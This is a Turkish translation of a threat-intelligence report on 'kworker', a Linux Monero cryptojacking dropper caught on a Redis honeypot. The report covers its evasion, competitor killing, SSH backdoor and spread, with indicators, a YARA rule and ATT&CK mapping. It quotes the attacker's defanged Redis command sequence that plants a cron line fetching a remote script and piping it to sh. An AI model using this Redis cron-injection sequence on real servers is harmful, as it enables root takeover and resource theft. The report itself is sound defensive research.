Bu sayfa bir çeviridir. Esas alınan metin İngilizce sürümdür. İngilizcesini okuyun
malware · cryptomining · redis · linux · honeypot · monero · 8220-gang · xmrig · worm
Kworker: Kendi Kaldırma Aracını Yanında Getiren Kripto Madencisi
Kinryū Labs, 8220 soyundan gelen bir kripto hırsızının açık ve parolasız bir Redis portunu yaklaşık beş saniye içinde root kabuğuna çevirdiğini yakaladı. kworker adlı 636 satırlık bir kabuk betiği olan dropper, Alibaba ve Tencent bulut güvenlik ajanlarını üreticilerin kendi araçlarıyla kaldırıyor, 200 satırını rakip madencileri öldürmeye harcıyor, SSH'a arka kapı açıyor, sahte ps, top ve pstree arkasına bir XMRig Monero madencisi gizliyor ve yayılmaya çalışıyor.
Yazan Davis Zheng·
TLP:CLEAR. Kamuya açık yayım için onaylanmıştır. Kinryū Labs honeypot sensör ağı tarafından yakalanmıştır. Aşağıdaki göstergeler etkisizleştirilmiş biçimdedir.
Yönetici özeti
- ~5 snaçık Redis portundan dört root cron arka kapısına
- 636satır bash, eksiksiz bir sunucu ele geçirme kiti
- 2base64 kodlu olarak içinde taşınan üretici kaldırma aracı
- 80+öldürme listesindeki rakip madenci
UTC gece yarısını altı dakika geçe, bir şey honeypot’larımızdan birinin Redis portuna bağlantı açtı, karşısındakini anlamak için tek bir INFO çalıştırdı ve bağlantıyı kapattı. İki saniye sonra geri döndü ve işe koyuldu. Bağlantıyı kestiğinde, toplam beş saniye içinde, sunucunun cron tablosunu dört ayrı biçimde yeniden yazmış ve hepsini aynı dosyaya yöneltmişti: kworker adlı bir kabuk betiği.
Çalışmasına hiç izin vermedik. Betik hiç çalışmadı; elimizde olan betiğin kendisi ve saldırganın komut dizisi. Yani geriye kalan, betiğin tamamı, 636 satırın hepsi ve saldırganın eksiksiz komut dizisi. Birlikte okunduklarında, sıradan Linux kripto hırsızlığının 2026’da vardığı noktanın temiz bir kesitini veriyorlar ve kworker iyi bir örnek, çünkü bu türün şimdiye dek icat ettiği neredeyse her şeyi yapıyor. Ayrıca tek bir şeyi de hiç istifini bozmadan yapıyor: antivirüsünüzü, antivirüs üreticisinin kendi kaldırma aracını kullanarak kaldırıyor.
- 8220 Gang / kworkerds soyundan, fırsatçı ve hedefsiz, sıradan bir kripto hırsızlığı (orta güven). Redis üzerinden teslimat, yeniden adlandırılmış indirme araçları,
/etc/javaekilit dosyası ve devasa öldürme listesi ailenin ayırt edici işaretleri. Orta düzeyde kalıyoruz, daha yukarı çıkmıyoruz, çünkü bu, ekiplerin birbirine devrettiği ve yeniden sattığı, çokça çatallanmış bir kod; dolayısıyla isim tek bir yazarı değil, bir soyu işaret ediyor. - Amaç Monero madenciliği (yüksek güven). Betiğin bütün varlık nedeni, bir XMRig derlemesi olan
javae'yi, onun için huge pages'i etkinleştirdikten sonra indirip başlatmak. Geri kalan her şey alanı temizlemek ve sunucuyu elde tutmak için var. - Olgun, çokça kullanılmış bir yazılım, birinin hafta sonu projesi değil (yüksek güven). İçeri girişin kendi cron satırları, yalnızca kworker kurulduktan sonra var olan
cd1vewd1araçlarını çağırıyor. Kit kendisinin zaten var olduğunu varsayıyor; bu da bir süredir dolaşımda olan kodun işareti. - Cüzdanın eksikliği bilinçli (yüksek güven). Betikte ne bir Monero adresi ne de bir havuz var; ikisi de kurtaramadığımız madenci ikili dosyasının içinde. Bu ekibin kampanyalarını birbirine bağlayacak tek ayrıntı, tam da betikten uzak tuttukları şey; RedTail'de çarptığımız duvarın aynısı.
FLUSHALL, ardından cron’a dört ayrı yol
Parolasız biçimde internete açık bırakılmış Redis, yıllardır tek satırlık bir root kabuğu anlamına geliyor ve buradaki teknik de o eski güvenilir yöntem. Değeri bir cron görevi olan bir veritabanı anahtarı ayarlayın. Redis’e veritabanını cron klasörüne kaydetmesini söyleyin. SAVE çağırın. Redis veritabanını diske yazar, sahte cron görevinizle birlikte, ve bir dakika sonra cron onu root olarak çalıştırır. Ziyaretçimiz sunucunun parmak izini aldı, bir dosya yazabildiğini doğruladı, başarısız kaydı engelleyen emniyeti kapattı ve numarayı uyguladı.
# what the visitor sent to Redis (abbreviated, defanged)
SET backup1 "*/2 * * * * cd1 -fsSL hxxps://download.logltech[.]workers[.]dev/up/down/api/kworker | sh"
CONFIG SET dir /var/spool/cron/
CONFIG SET dbfilename root
SAVE
Sızmanın tamamı birkaç saniyeye sığıyor:
- 00:06:00 UTCBağlan, sunucunun parmak izini almak için tek bir
INFOgönder, bağlantıyı kes. - +2 saniyeYeniden bağlan. Her biri bir cron satırı tutan dört anahtar ayarla.
CONFIG SET dirile cron klasörüne,CONFIG SET dbfilenameile hedef cron dosyasına geç, stop-writes-on-bgsave-error'ı devre dışı bırak, ardındanSAVE. - +toplam 5 saniyeBağlantıyı kes. Hepsi `kworker`'a işaret eden dört cron arka kapısı yerleştirilmiş durumda.
- +1 dakikaGerçek bir sunucuda cron, yerleştirilen satırı root olarak çalıştırır ve
kworker'ı indirir.
Üzerinde durmaya değer olan, fazlalık. Tek bir cron görevi yazmadı; aynı talimatı dört yere yazdı: /var/spool/cron/root, /var/spool/cron/crontabs, /etc/cron.d/javae ve /etc/crontab, böylece hem Red Hat hem Debian yerleşimini ve her iki cron sözdizimini kapsadı. Her satır kworker’ı farklı bir araçla indiriyordu: cd1, wget, curl, wd1, kademeli olarak iki, üç, dört, beş dakikalık bir zamanlamayla. Bu adlardan ikisi gerçek program değil. cd1 ve wd1, kworker kurulduktan sonra curl ve wget’e verdiği adlar. İçeri giriş, birazdan indireceği betiği şimdiden varsayıyor. Kitin tamamı kendi içinde tutarlı; olgun, çokça kullanılmış bir yazılım olduğunu, birinin hafta sonu projesi olmadığını böyle anlıyorsunuz.
Kaldırma aracınızı yanınızda getirin
Root’u ele geçirdiği anda kworker binayı sökmeye başlıyor. Güvenlik duvarı boşaltılıyor, ufw kapatılıyor, SELinux permissive’e düşürülüp ardından yapılandırmasında tamamen devre dışı bırakılıyor, AppArmor durduruluyor, çekirdeğin NMI watchdog’u kapatılıyor; bu sonuncusu önemli, çünkü bir madenci CPU’yu haftalarca yüzde yüzde sabitliyor ve watchdog bunu fark edebilecek nadir şeylerden biri. /var/log/syslog doğrudan siliniyor.
Sonra bulut güvenlik ajanlarını aramaya koyuluyor ve betik burada sıradanlıktan çıkıyor. Büyük Çinli bulut sağlayıcıları sanal makinelerinde bir sunucu ajanı ile geliyor: Alibaba’nın AliYunDun adıyla çalışırken göreceğiniz Aegis’i; Tencent’in YunJing’i; Huawei’nin HostGuard’ı. kworker her birini kontrol ediyor. Alibaba’nınkini bulduğu yerde süreci öylece öldürmüyor. Alibaba’nın resmi kaldırma aracını çalıştırıyor ve bunun Alibaba’ya geri dönüş yolu olmayan bir makinede de işlemesi için Alibaba’nın kaldırma betiklerinden ikisini base64 kodlu olarak kendi içinde taşıyor. İkisini de çözdük. Gerçeğin ta kendisiler, kprobe izleme sökümü dahil.
Uç nokta korumanızı temiz biçimde, üreticinin amaçladığı şekilde kaldırıyor ve günlükleri derli toplu bırakıyor.
Bu doğaçlama değil. Birisi gerçek bir Aliyun makinesinin başına oturmuş, kaldırma araçlarını almış ve içine yerleştirmiş.
Bash ile yazılmış bir bölge savaşı
Bu betiklerden birini daha önce hiç okumadıysanız, sizi şaşırtan şey ne kadar çoğunun diğer suçlulara yönelik olduğudur. Bir madencinin gerçek düşmanı sistem yöneticisi değil, aynı CPU’yu kiralamaya çalışan bir sonraki madencidir. kworker rakip avına kabaca iki yüz satır harcıyor ve eline geçirebildiği her tutamaktan öldürüyor.
- Süreç adına göre, yüzden fazla girdilik bir engelleme listesinden:
xmrig,kinsing,kdevtmpfsi,watchdogsvewatchbogailesi,ddg,sustesve kendi adının türediği daha eskikworkerds. - Porta göre, madencilik havuzlarının ve IRC botlarının oturduğu portlar.
- Sabit kodlanmış IP adresine göre.
- CPU’ya göre, kaba yöntem: tanımadığı bir ad altında işlemcinin yüzde 40’ından fazlasını yakan her şey öldürülüyor; mantık şu ki CPU yiyen bilinmeyen bir süreç, tanımı gereği rakip bir madencidir.
Onların dosyalarını /tmp ve /dev/shm içinden siliyor, cron görevlerini temizliyor, bazılarının kurduğu preload rootkit’lerini kaldırıyor ve Docker’a uzanıp bilinen madencilik imajlarını öldürüp siliyor. Bu, RedTail’in clean betiğinde ve Rootpacket’in killservice.sh’sinde belgelediğimiz aynı toprak kapmacası; bu ekiplerin hepsi aynı yanlış yapılandırılmış makineler için kavga ediyor ve hepsi işe alanı süpürerek başlıyor.
Ayrıca, özellikle ve tekrar tekrar, TeamTNT’ye karşı kaba davranıyor; TeamTNT’nin yaptığı curl ve wget yeniden adlandırmalarını geri alıyor ve dizinlerini siliyor. Kinsing’i öldürdüğü yerde dosyanın üzerine fuckyou kelimesini yazıyor ve Kinsing kendini geri koyamasın diye dosyayı kilitliyor. Burada onur yok, yalnızca toprak kapmacası var ve kworker bunu çoğundan daha sert oynuyor.
Listeyi dikkatle okuyun, rekabetin nasıl saklandığına dair bir katalog hâline geliyor. Hedeflerden bir küme çekirdek iş parçacığı gibi görünüyor: kacpi_svc, kswap_svc, kthreadd_svc, ksoftirqd_svc; bir başka küme sistem servisleri gibi: polkitd, acpid, dbus-daemon--system ve L olması gereken yerde büyük I ile systemctI. kworker, rakiplerinin taşıdığı tam da o kılıkları avlıyor; bunlar birkaç satır sonra javae’yi systemd-network ve irqbalanced gibi adlar arasına gizlerken kendisinin başvurduğu kılıkların aynısı. Bu kavgadaki herkes sıkıcı sistem gürültüsü kılığına girmiş ve herkes birbirinin kostümünü ezberlemiş durumda.
Birkaç hedef hiç ad değil. Bunlardan biri, bir /bin/bash komutunun base64 başlangıcı olan L2Jpbi9iYXN. kworker, süreç tablosunda bu kodlanmış öneki grepliyor ve bir rakibin yükleyicisini komut satırında duran base64 bloğundan yakalıyor.
Listenin tamamı uzun sürüyor, öldürmek istediğiniz bir süreci adlandırmanın yüzden fazla yolu, ve husumetin dokusunu görmek için bir kez göz gezdirmeye değer:
Yakalanan betikten çıkarılan eksiksiz öldürme listesi
kill_miner_proc, kill_sus_proc ve Docker süpürmesinden alınmıştır. Buradaki her şey kworker’ın avladığı bir hedeftir, kendi altyapısı değildir. IP’ler etkisizleştirilmiştir.
Üzerindeki her süreci öldürdüğü portlar (madencilik havuzları, IRC botları, RAT’ler, alternatif SSH ve Telnet): 23, 143, 2222, 3333, 3347, 3389, 5555, 6665, 6666, 6667, 7777, 8444, 10008, 13531.
Tanınabilir madenci ve botnet aileleri: xmrig, xmrig-cpu, xmrig-notls, xmr-stak, mstxmr, cnrig, minerd, minergate, cryptonight, crypto-pool, moneroocean, kinsing, kdevtmpfsi, kworkerds, kworker34, watchdogs, watchd0g, watchbog, ddg, ddg.2011, sustes, sustse, sustse3, kthrotlds, ksoftirqds, tntrecht (TeamTNT), nanoWatch, sourplum, disk_genius, biosetjenkins, nullcrew.
Çekirdek iş parçacığı gibi saklanan rakipler: kacpi_svc, kswap_svc, kauditd_svc, kpsmoused_svc, kseriod_svc, kthreadd_svc, ksoftirqd_svc, kintegrityd_svc, kblockd_svc, native_svc.
Sistem servisi gibi saklanan rakipler: polkitd, acpid, dbus-daemon--system, irqbalance, irqbalanc1, crond64, nginxk, vmlinuz, systemctI (büyük i, systemctl değil), systemten, systemxlv, svcupdate, netdns, netns, redis2, rsync, httpgd, haveged, voltuned, nqscheduler.
Diğer adlandırılmış yükler, betikler ve kampanya başına işaretleyiciler: apaceha, apachiii, mixnerdx, mixtape, performedl, conns, mgwsl, pythno, jweri, lx26, i586, gddr, askdljlqw, ysaydh, bonns, donns, kxjd, nopxi, deamon, zigw, devtool, devtools, suppoie, exin, xr, jawa, ynn, servim, darwin, sysstats, Loopback, XJnRj, NXLAi, BI5zj, icb5o, wnTKYg, 2t3ik, qW3xT.2, hahwNEdB, CnzFVPLF, CvKzzZLs, OIcJi1m, IOFoqIgyC0zmf2UR, 65ccEJ7, jmxx, 2Ne80nA, C4iLM4L, Guard.sh, Duck.sh, bonn.sh, conn.sh, kw.sh, pro.sh, mr.sh, 2mr.sh, cr5.sh, he.sh, miner.sh, l.sh, z3.sh, lower.sh, ndt.sh, logo9.jpg, oracle.jpg, init10.cfg, init12.cfg, j2.conf, zer0day.ru, gitee.com.
Gizlenmiş başlatıcılar ve bırakılan yapılandırmalar: ./ppp, ./vsp, ./jvs, ./pvv, ./vpp, ./pces, ./rspce, ./jiba, ./haveged, ./watchbog, ./servceaess ve yanlış yazılmış ikizleri, mwyumwdbpq.conf, honvbsasbf.conf, mqdsflm.cf, /wl.conf, wc.confz, ayrıca base64 yükleyici işaretleyicisi L2Jpbi9iYXN (bir /bin/bas... tek satırlık komutunun başlangıcı).
Görür görmez vurduğu rakip havuz ve C2 IP’leri: 45.76.122[.]92, 51.38.191[.]178, 51.15.56[.]161, 104.248.4[.]162, 89.35.39[.]78, 107.174.47[.]156, 107.174.47[.]181, 83.220.169[.]247, 51.38.203[.]146, 144.217.45[.]45, 176.31.6[.]16, 46.243.253[.]15, 200.68.17[.]196, 188.209.49[.]54, 181.214.87[.]241, 121.42.151[.]137.
Öldürüp sildiği Docker imajları ve konteynerleri: pocosow, gakeaws, azulu, auto, xmr, mine, slowhttp, bash.shell adlı konteynerler; pocosow, gakeaws, buster-slim, hello-, azulu, registry, xmr, monero, mine, slowhttp imaj referansları.
Ve kaba yöntem: javae ile eşleşmeyen ve yüzde 40’ın üzerinde CPU kullanan her şey öldürülüyor; aynı şekilde adı köşeli parantezli bir çekirdek iş parçacığına benzeyen ve yüzde 10’un üzerinde kullanan her şey, /tmp içinden çalışan her şey ve şüpheli derecede uzun ada sahip her süreç de öldürülüyor.
Şimdi göremiyorsunuz
Alanı temizledikten sonra kendi oyuncusunu gizliyor. ps, top ve pstree’yi, gerçek ikili dosyaları çağıran ve madenciden (javae) veya beraberinde getirdiği tarayıcıdan (pnscan) söz eden her satırı sessizce süzen iki satırlık sarmalayıcılarla değiştiriyor, sonra da yeni görünmesinler diye sahtelerin tarihini 2016’ya geri alıyor. Bulaşmış bir makinede ps çalıştırın, madenci listede hiç yok.
Madenci zaten bir süreç tablosunda kaybolacak şekilde adlandırılmış: systemd-network, irqbalanced ve kswaped gibi adlarla yerleştirilmiş kilit dosyalarının yanında duran javae; her biri sıkıcı sistem gürültüsü gibi okunsun diye seçilmiş.
Bir anahtar ve komşulara giden bir yol
İki hamle daha ele geçirmeyi tamamlıyor.
Operatörün SSH genel anahtarını, ki yorum alanı yalnızca uc1, root’un authorized_keys dosyasına yazıyor ve dosyayı değiştirilemez yapıyor; böylece onu fark etmek yetmiyor, silebilmek için bile önce immutable bitini temizlemeniz gerekiyor. Bu, madenci temizlendikten sonra da yaşayan, elle kullanılan bir erişim.
Sonra yayılmayı deniyor. Root’un known_hosts dosyasını, yani bu makinenin oturum açtığı her makinenin listesini okuyor ve diskte zaten duran anahtarları kullanarak her birine SSH ile bağlanmayı deniyor; içeri aldığı her yerde kworker’ı yedek adresten indiren ve bütün hikâyeyi yeniden başlatan tek satırlık bir komut çalıştırıyor. Hızlı bir solucan değil ve parolasız anahtarların ortalıkta bırakılmasına bel bağlıyor, ama bunların genellikle öyle bırakıldığı türden bir filoda bu fazlasıyla yeterli.
Madenci ve elde edemediğimiz cüzdan
Bunca mekanizmaya rağmen asıl para kazandıran sıkıcı: ikinci bir dosya, javae, Monero kazan bir XMRig derlemesi. kworker huge pages’i açıyor (vm.nr_hugepages 128’e ayarlanıyor, standart bir XMRig hızlandırması), javae’yi /etc içine bırakıyor ve çalıştırıyor.
Bu raporun boşluğu burada. javae elimizde yok, cüzdan da elimizde yok. Betikte ne bir Monero adresi ne de bir havuz var; bunlar çalışma zamanında indirilen madenci ikili dosyasına gömülü ve C2, bu örneği inceleyen kamuya açık kum havuzlarının hiçbirine onu sunmadı, dolayısıyla pasif olarak sökülecek bir şey yok. kworker’ı tek başına inceleyen herkes aynı duvara çarpıyor. Cüzdan, bu ekibin kampanyalarını birbirine bağlayacak tek şey ve tam da betikten uzak tuttukları şey.
Bilerek Cloudflare üzerinde barındırılıyor
Hem betik hem madenci bir Cloudflare Workers adresi olan download.logltech[.]workers[.]dev üzerinden geliyor ve bu bilinçli bir tercih. Workers ücretsiz, varsayılan olarak HTTPS, Cloudflare’ın itibarını ödünç aldığı için alan adı engelleme listelerini rahatça geçiyor ve operatörün gerçekte kontrol ettiği kaynağı gizliyor. Her yük URL’si Cloudflare’a çözümleniyor; operatörün gerçek kaynağı hiçbir zaman açığa çıkmıyor.
Solucanın kullandığı yedek kanal, şubat sonunda kaydedilmiş olan tutorial.clashverge[.]space. Betikte sabit kodlanmış diğer her IP adresi, öldürmek istediği bir rakibe ait; Vultr, OVH ve DigitalOcean makinelerine ve Hangzhou’daki bir Alibaba Cloud sunucusuna dağılmış durumda, bu operatöre değil. Sabit kodlanmış IP’leri altyapı olarak değil, hedef listesi olarak okuyun.
Bu kimin?
O hâlde dikkatle. Bu, genellikle 8220 Gang ya da kworkerds altında dosyalanan soydan gelen sıradan bir kripto hırsızlığı. İşaretlerin hepsi mevcut: Redis cron enjeksiyonuyla teslimat, curl’ün cd1 olarak yeniden adlandırılması, /etc/javae kilit dosyası, pnscan yayıcısı, devasa öldürme listesi. Antivirüs motorları bir ad üzerinde anlaşamıyor, ki mesele de tam olarak bu. ClamAV ona Rocke diyor, Rising TeamTNT olarak etiketliyor, geri kalanı yalnızca CoinMiner diyor. Bu betikler yarım düzine ekip arasında kopyalanıyor, birleştiriliyor ve yeniden satılıyor ve kworker akraba olduğu ailelerden birkaçını öldürüyor.
Aileyi bir parmak izi değil, bir mahalle olarak görün.
Çinli bulut ajanlarına odaklanma ve VirusTotal’ın aynı örneğe bağladığı bir Windows PowerShell kardeşi resmi tamamlıyor, ama güvenli ifade olan mütevazı olanı. Çokça çatallanmış, finansal motivasyonlu, hedefli değil ve yeni değil. Orta güven ve orada rahatız.
İhlal göstergeleri
Ağ
| Gösterge | Bağlam |
|---|---|
download.logltech[.]workers[.]dev | C2 (birincil), Cloudflare Workers. /up/down/api/{kworker, javae, cb.txt} sunuyor |
tutorial.clashverge[.]space | C2 (yedek), solucan tarafından kullanılıyor. 27 Şub 2026’da kaydedilmiş |
170.9.225[.]197 | Redis honeypot’una ulaşan kaynak IP |
*.workers.dev sunucusu + /up/down/api/ altında GET | Hatta dikkatle bakmaya değer yük indirme örüntüsü |
Dosyalar (SHA-256 / MD5)
| Dosya | SHA-256 | MD5 |
|---|---|---|
kworker (dropper) | 7420e819e6cf6d7608e475468ae0160185fe7eed0b5b4129aad3e8dabc776e30 | 501ec2da3039ebe4ca379f663232176a |
javae (XMRig madencisi) | kurtarılamadı, beklenen boyut 5,685,096 bayt |
SSH arka kapı anahtarı: yorum uc1, genel anahtar parmak izi SHA256:VG0G5YwuzVAQW5JrC9RukA6Pynj3AwnFhWPCKp6TfVY. Tüm envanterde authorized_keys dosyalarında bunu arayın.
Sunucu artefaktları
| Yol | Bağlam |
|---|---|
/etc/kworker, /etc/javae, /etc/cron.d/javae, /tmp/{kworker,javae} | Bırakılan dosyalar |
/usr/bin/cd1 (eski curl), /usr/bin/wd1 (eski wget) | Yeniden adlandırılmış indirme araçları |
/bin/ps.original, /bin/top.original, /bin/pstree.original | Truva atı hâline getirilmiş sarmalayıcıların arkasına kaydedilen gerçek ikili dosyalar |
/usr/bin/{kswaped, pamdicks, ip6network, irqbalanced, rctlcli, systemd-network} | Değiştirilemez, tek haneli ad kilidi dosyaları |
vm.nr_hugepages = 128 | XMRig için huge pages etkinleştirilmiş |
Davranışsal
- Aslında
grep -vüzerinden boru hattı kuran bir kabuk betiği olanps,topveyapstree. - Sizin yazmadığınız,
uc1yorumuyla biten birauthorized_keys. sh /etc/kworkerveyash /tmp/kworkerçalıştıran cron görevleri ve var olmaması gereken bir/etc/cron.d/javae./usr/bin/kswapedve benzerlerinde değiştirilemez, tek haneli dosyalar.cd1vewd1olarak yeniden adlandırılmış bircurlvewget.- Sessizce 128’e ayarlanmış
vm.nr_hugepages.
Tespit
Sunucu tarafındaki ipuçları, bir kez öğrendikten sonra yüksek sesle bağırıyor ve yukarıda listelendiler. Hatta, bir *.workers.dev sunucusunu çözümleyen ve /up/down/api/ altındaki yolları isteyen her şey dikkatle incelenmeyi hak ediyor. Aşağıda, kararlı dizgilerde tetiklenen bir YARA kuralı var. Tespit amacıyla, bilerek canlı dizgileri taşıyor.
rule kworker_cryptojacker_sh
{
meta:
description = "Linux kworker/javae cryptojacking installer (Redis XMRig dropper)"
author = "Kinryu Labs honeypot CTI"
reference = "7420e819...776e30" // full SHA-256 in the IOC table
tlp = "CLEAR"
strings:
$c2_1 = "download.logltech.workers.dev" ascii
$c2_2 = "tutorial.clashverge.space" ascii
$api = "/up/down/api/kworker" ascii
$lock = "/etc/javae" ascii
$miner = "miner_size=\"5685096\"" ascii
$ren1 = "mv /usr/bin/curl /usr/bin/cd1" ascii
$ren2 = "mv /usr/bin/wget /usr/bin/wd1" ascii
$bin1 = "/usr/bin/pamdicks" ascii
$bin2 = "/usr/bin/kswaped" ascii
$bin3 = "/usr/bin/rctlcli" ascii
$fn1 = "kill_miner_proc" ascii
$fn2 = "download_file_if_needed" ascii
$hide = "javae\\|pnscan" ascii
$ssh = "9p8zIVKLUHMUNC9mKqPljzxH" ascii // fragment of the uc1 key
condition:
filesize < 256KB and (
$ssh or any of ($c2_1, $c2_2) or
($api and $lock) or
($miner and 1 of ($ren1, $ren2)) or
(2 of ($bin1, $bin2, $bin3) and 1 of ($fn1, $fn2, $hide))
)
}
Bunun değiştirmesi gerekenler
Bunların hiçbiri sofistike değil ve ders de bu. kworker içeri girdi çünkü bir Redis portu parolasız açıktı; 2018’den kalma bir hata, 2026’da hâlâ karşılığını veriyor. Ondan sonraki her şey, EDR kaldırma, rootkit ve solucan, yalnızca ön kapı kilitsiz olduğu için önem taşıdı.
- Redis’i, ya da herhangi bir veri deposunu, internete açmayın ve kimlik doğrulama zorunlu kılın. Açık tek bir servisi tek servislik değil, sunucunun tamamının ele geçirilmesi olarak görün.
- Cron ve
authorized_keys’i üretim kodu gibi izleyin, çünkü bir saldırgan için tam olarak öyleler. - Makinedeki bulut ajanını bir güvenlik ağı olarak görmeyin. kworker’ın ilk içgüdüsü, üreticinin kendi araçlarıyla, nezaketle yanına gidip onu kaldırmaktı.
MITRE ATT&CK eşlemesi
| Taktik | Teknik |
|---|---|
| Initial Access | T1190 Exploit Public-Facing Application (Redis) |
| Execution | T1059.004 Unix Shell |
| Persistence | T1053.003 Cron; T1098.004 SSH Authorized Keys |
| Defense Evasion | T1562.001 Impair Defenses: Disable or Modify Tools (bulut ajanı ve EDR kaldırma); T1562.004 Disable or Modify System Firewall; T1070.002 Clear Linux or Mac System Logs; T1014 Rootkit (truva atı hâline getirilmiş ps/top/pstree); T1036.005 Masquerading: Match Legitimate Name; T1222.002 Linux File and Directory Permissions Modification (chattr +i); T1070.006 Timestomp (tarihi geri alınmış sahteler) |
| Discovery | T1057 Process Discovery (rakip avı); T1518.001 Security Software Discovery (bulut ajanları); T1046 Network Service Scanning (pnscan) |
| Lateral Movement | T1021.004 Remote Services: SSH; T1570 Lateral Tool Transfer |
| Command and Control | T1071.001 Web Protocols; T1102 Web Service (Cloudflare Workers); T1105 Ingress Tool Transfer |
| Impact | T1496 Resource Hijacking (Monero madenciliği) |
Yöntem ve analist notları
- Analiz statik ve pasifti. Dropper hiçbir zaman çalıştırılmadı ve hiçbir saldırgan altyapısıyla temas kurulmadı. Bulgular, yakalanan 636 satırlık betiğin tamamının okunmasından, gömülü base64 kaldırma araçlarının çözülmesinden ve kayıt altına alınan Redis oturumunun incelenmesinden geliyor.
- Yukarıdaki göstergeler etkisizleştirilmiştir. YARA kuralı, tespit amacıyla, tasarım gereği canlı dizgileri içerir.
- Aşama 2 madencisi (
javae) ve Monero cüzdanı elimizde yok. Betik ikisini de taşımıyor; her ikisi de çalışma zamanında indirilen ve C2’nin kamuya açık kum havuzlarına sunmadığı madenci ikili dosyasının içinde. Cüzdanı kurtarmak, gerçekleştirmediğimiz bir canlı patlatma ve ağ yakalaması gerektirirdi. - Örnekler (dropper ve çözülmüş kaldırma araçları), talep üzerine diğer araştırmacılara ve savunuculara sunulmaktadır. Kim olduğunuza ve bunlara ne için ihtiyaç duyduğunuza dair kısa bir notla contact@kinryu.sh adresine e-posta gönderin.